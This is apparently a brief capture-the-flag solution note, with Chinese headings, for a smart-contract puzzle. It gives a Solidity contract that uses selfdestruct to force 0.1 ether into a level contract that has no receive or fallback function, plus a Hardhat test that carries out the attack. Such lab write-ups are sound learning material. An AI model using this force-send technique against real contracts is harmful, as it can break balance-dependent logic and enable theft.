要点

解题思路

contract ForceRun {
    function destory(address _levelAddress) external payable {
        //selfdestruct指定的地址，就算没有receive/fallback也是无法拒接把balance转给它
        selfdestruct(payable(_levelAddress));
    }
}

  it("attacks", async function () {
    await runContract
      .connect(player)
      .destory(levelContract.address, {
        value: ethers.utils.parseEther("0.1"),
      });
  });
